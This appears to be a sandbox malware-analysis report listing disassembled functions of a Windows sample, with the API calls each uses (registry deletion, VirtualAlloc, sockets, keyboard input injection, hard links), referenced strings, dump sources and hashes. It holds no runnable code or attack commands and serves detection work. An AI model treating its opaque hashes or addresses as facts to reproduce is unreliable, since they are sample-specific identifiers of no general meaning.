Opcode Fuzzy Hash: c72dbb7b357fc79cfabcdc662476c91260f4ce7f67aaa5c06ab88f088c6a0b64
Instruction Fuzzy Hash: 48D0C230510713CFC7204F36CC0824672D4AF04341F21DC3BD49AC6264E678E880CA18

Function 004B0DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,004B1039), ref: 004B0DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 004B0E07

Strings

RegDeleteKeyExW, xrefs: 004B0E01
advapi32.dll, xrefs: 004B0DF0

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 3f08a6163326457d7195897a896fd6371346c246eff9f70a8d7465fa83b254e7
Instruction ID: 7b05e3af93d8642ffbb834e61b36acaf385eba6a70ebae9d3019088a3a7431c3
Opcode Fuzzy Hash: 3f08a6163326457d7195897a896fd6371346c246eff9f70a8d7465fa83b254e7
Instruction Fuzzy Hash: A9D0EC71510712DFD7205B79C80968776D5AF14352F118D3E9495D2690E6B8E8A08658

Function 004A90E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,004A8CF4,?,004BF910), ref: 004A90EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 004A9100

Strings

kernel32.dll, xrefs: 004A90E9
GetModuleHandleExW, xrefs: 004A90FA

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 01bc308dea32346226bd5dd66a0382cdcba64908a0569a46468fe70c561e0fb5
Instruction ID: faf8af35db1ce046db43d281dc2e505e7e37994fc1fe7cd97d2bb1bd206e368f
Opcode Fuzzy Hash: 01bc308dea32346226bd5dd66a0382cdcba64908a0569a46468fe70c561e0fb5
Instruction Fuzzy Hash: 93D0EC34510723DFEB209B35DC1864676D4AF15351B118D3AD499D6690E678DC848654

Function 00471714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00471718
__swprintf.LIBCMT ref: 00471749

Strings

%.3d, xrefs: 00471723
WIN_XPe, xrefs: 00471788

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 01325be9e4c6051e35a4448efc3e6cc06b7580211db6628caa1201aa3ad72352
Instruction ID: 1d1f92d7850e3c3dd8e182353387dc0caddab29a077c05ed2daa4556f180122f
Opcode Fuzzy Hash: 01325be9e4c6051e35a4448efc3e6cc06b7580211db6628caa1201aa3ad72352
Instruction Fuzzy Hash: B1D05B71804118FBC7189B959C89CFD737CA718302F104563F80AE2060E23D9B56D76F

Function 0048717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65d427c20d39d62de57b59e79ea3fbaba15adc0930c4c353b9c890cfb359279
Instruction ID: ee2b8da15ca11c6c739890c66bc4d8178e52eac77f165498d78cee1b0589de84
Opcode Fuzzy Hash: a65d427c20d39d62de57b59e79ea3fbaba15adc0930c4c353b9c890cfb359279
Instruction Fuzzy Hash: 1CC1B074A04216EFCB14DFA4C894EAEBBB5FF48704B208999E809DB351D734ED81DB94

Function 004AE02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 004AE0BE
CharLowerBuffW.USER32(?,?), ref: 004AE101

Part of subcall function 004AD7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 004AD7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 004AE301
_memmove.LIBCMT ref: 004AE314

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 82225728b38104ff9a49db83fe23b21830db10bc2d2ab117fc3e1b77855114c7
Instruction ID: 7bfe68dc16036f5598c4543002d435e84518da6fe6d3a770a91897647d100ceb
Opcode Fuzzy Hash: 82225728b38104ff9a49db83fe23b21830db10bc2d2ab117fc3e1b77855114c7
Instruction Fuzzy Hash: B1C168716083019FC714DF29C480A6ABBE4FF9A318F14896EF8999B351D735E906CB86

Function 004A8093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004A80C3
CoUninitialize.OLE32 ref: 004A80CE

Part of subcall function 0048D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0048D5D4

VariantInit.OLEAUT32(?), ref: 004A80D9
VariantClear.OLEAUT32(?), ref: 004A83AA

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: d9d845acb7bb8352719a493293ea408f1a897c95de110c31809698f406013b6a
Instruction ID: af64c381ab31acfe6a70703340d28455f8d13ab560cdff11b59fe90c2b880563
Opcode Fuzzy Hash: d9d845acb7bb8352719a493293ea408f1a897c95de110c31809698f406013b6a
Instruction Fuzzy Hash: 7EA135756047019FCB04EF15C881A2AB7E4FF9A358F04445EF9999B3A1CB78EC05CB8A

Function 0048687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0048688E
SysAllocString.OLEAUT32(00000000), ref: 00486937
VariantCopy.OLEAUT32 ref: 00486966
VariantClear.OLEAUT32(?), ref: 0048698D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 078a7bcf3c078cbf3f66e5fd65bbfb7992060a6bc44122d3510f3b43b44665df
Instruction ID: e07d27d010c06c55b65112b7424c3798da38cbb11ba45ddd3400a51f7896e079
Opcode Fuzzy Hash: 078a7bcf3c078cbf3f66e5fd65bbfb7992060a6bc44122d3510f3b43b44665df
Instruction Fuzzy Hash: 1C51F7747003019ACBA8BF66D891A3EB3E5AF45314F21DC1FE586DB291DB78D885870D

Function 004B97F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00E5E548,?), ref: 004B9863
ScreenToClient.USER32(00000002,00000002), ref: 004B9896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 004B9903

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 31da4bdc92ac023c65ad5f9bc9b43339f75802d1ae0b4997b61e607e802dd459
Instruction ID: fb97e32b4fc6a61b2e5be8e88d5a3be1efcfd92e1f0390b3e5d7481e6896d6b0
Opcode Fuzzy Hash: 31da4bdc92ac023c65ad5f9bc9b43339f75802d1ae0b4997b61e607e802dd459
Instruction Fuzzy Hash: 1B514D74A00608AFCB14DF64D880AEE7BB5FF45360F10826AFA559B3A0D734AD51CBA4

Function 00489A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00489AD2
__itow.LIBCMT ref: 00489B03

Part of subcall function 00489D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00489DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00489B6C
__itow.LIBCMT ref: 00489BC3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: b0ba78b4311b23f210d2f4f80b22dd7a5157a520417991c1e763581047cd0376
Instruction ID: ea05e8f9c470d455b1e09682da42dcaa079daa3867837a899d848bcdd8bfea9d
Opcode Fuzzy Hash: b0ba78b4311b23f210d2f4f80b22dd7a5157a520417991c1e763581047cd0376
Instruction Fuzzy Hash: 4841D5B0A00608ABDF21EF55C845BFE7BB9EF48724F04042EF905A3291DB78AD44CB59

Function 004A69AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 004A69D1
WSAGetLastError.WSOCK32(00000000), ref: 004A69E1

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 004A6A45
WSAGetLastError.WSOCK32(00000000), ref: 004A6A51

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: b5de05217b6337f7d1f4f3bfe01da78d02f33d63695350284382cdfd3830bb65
Instruction ID: dd9f4a190b6f4f9e5aa65011d06a0a31312308adfd242bc16a5d5cc7be01d057
Opcode Fuzzy Hash: b5de05217b6337f7d1f4f3bfe01da78d02f33d63695350284382cdfd3830bb65
Instruction Fuzzy Hash: 1841C3747002006FEB50BF25DC86F2E77A49B59B18F14C56EFA199B3C2DAB89D008B59

Function 004A641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,004BF910), ref: 004A64A7
_strlen.LIBCMT ref: 004A64D9

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 0c72af583b88bb71b1add66067b0cce0f4fe6c05b197565f2b960e2ce0536e8c
Instruction ID: 991a0e93809402c3f49d5bf5e64f740e0246e6f9c61296e897c0a34710219b1b
Opcode Fuzzy Hash: 0c72af583b88bb71b1add66067b0cce0f4fe6c05b197565f2b960e2ce0536e8c
Instruction Fuzzy Hash: E341CA71A00104ABCB14FBA5ECC5FAEB7A9AF19314F15815FF81997292DB38AD04CB58

Function 0049B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0049B89E
GetLastError.KERNEL32(?,00000000), ref: 0049B8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0049B8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0049B915

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: b5ed0fe867dde7b75be1850398daa512076c130df3f72bce850afe8cc3e7c51e
Instruction ID: 221d724c031c03bd9df16268ae837bc093be7c224e7b1a82cd5e5cfc044f642f
Opcode Fuzzy Hash: b5ed0fe867dde7b75be1850398daa512076c130df3f72bce850afe8cc3e7c51e
Instruction Fuzzy Hash: 4C411B39600610DFCB14EF15C585A5DBBE1EF89314F15809AEC4A9B362CB78FD05CB99

Function 004B8851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004B88DE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 8e3464546924ee10d4de309376f6756893be46e60e26d199cb7dd37cf6f57085
Instruction ID: 3c4731f0cc8bbb40f4d3b531e89c5f3fdb129d65c86a0b66bbc03424fff69f5d
Opcode Fuzzy Hash: 8e3464546924ee10d4de309376f6756893be46e60e26d199cb7dd37cf6f57085
Instruction Fuzzy Hash: 0C31E574600108BFEF24AE28CC45BFA7BA8EB05350F54411BFA15D62A1CA78E950DB6F

Function 004BAB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004BAB60
GetWindowRect.USER32(?,?), ref: 004BABD6
PtInRect.USER32(?,?,004BC014), ref: 004BABE6
MessageBeep.USER32(00000000), ref: 004BAC57

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 3158ee15c186e550a57d7e198dc34b00eadb648a4243249d93e62778fe4975f0
Instruction ID: a2a9e88d65a5cf8f2c3dcb1218ff35892b1abe717ff715c2ffb395a5c54b948d
Opcode Fuzzy Hash: 3158ee15c186e550a57d7e198dc34b00eadb648a4243249d93e62778fe4975f0
Instruction Fuzzy Hash: 9F418E30600619DFCF11DF58D884AAA7BF5FB49344F1881BAE914DB361D734E861CBAA

Function 00490AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00490B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 00490B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00490BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00490BFB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 2da292853287392b82afeb22cb6a615ed62cb2cbff78bbe1a1d699f79916b4ad
Instruction ID: 29ce5f3adfb0ef6573d03536dc45297ad45a31b2bca6de983ad32eb2a16f65d2
Opcode Fuzzy Hash: 2da292853287392b82afeb22cb6a615ed62cb2cbff78bbe1a1d699f79916b4ad
Instruction Fuzzy Hash: 85312630D40218AEEF348AA98C05BFEBFA9AB45318F04437BE594522D1C37CA985975A

Function 00490C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 00490C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 00490C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 00490CE1
SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 00490D33

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: fa9a944b897baf3728395cfeb06b3d10558360f81a4a84eb5dcb082b4717c931
Instruction ID: ef330e49430cd798cab964a9a694be86a0b0ffe0a80aff15c68f8e1af64f1605
Opcode Fuzzy Hash: fa9a944b897baf3728395cfeb06b3d10558360f81a4a84eb5dcb082b4717c931
Instruction Fuzzy Hash: F6310530940218AEFF388A658C087FFBFA6AB45314F04473BE485522D1C33D9D49979A

Function 004661C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004661FB
__isleadbyte_l.LIBCMT ref: 00466229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00466257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0046628D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6971e780dd21f018cc849ab235de7e8f62da7bfe9b12c0f2d28748be19d9c0f8
Instruction ID: fd082ba18617af2429c82f5f7e67c1110c0ab91f2fcc6f70e9821f1ca68b6feb
Opcode Fuzzy Hash: 6971e780dd21f018cc849ab235de7e8f62da7bfe9b12c0f2d28748be19d9c0f8
Instruction Fuzzy Hash: 1231F230600246AFDF219F65CC44BAB7FA9FF42310F16416AE82497291FB34E950CB96

Function 004B4EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 004B4F02

Part of subcall function 00493641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0049365B
Part of subcall function 00493641: GetCurrentThreadId.KERNEL32 ref: 00493662
Part of subcall function 00493641: AttachThreadInput.USER32(00000000,?,00495005), ref: 00493669

GetCaretPos.USER32(?), ref: 004B4F13
ClientToScreen.USER32(00000000,?), ref: 004B4F4E
GetForegroundWindow.USER32 ref: 004B4F54

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: af133547668b53a49938c43808d20135dcce965d06ff6ace9cfbe79f35fc32df
Instruction ID: b6627148cd030bbe35f4939c6b5f23225a86e137d84697d49c2c2db7a36dfb13
Opcode Fuzzy Hash: af133547668b53a49938c43808d20135dcce965d06ff6ace9cfbe79f35fc32df
Instruction Fuzzy Hash: 69312D71D00108AFCB14EFBAC8859EFF7F9EF99304F10446AE415E7201DA75AE058BA4

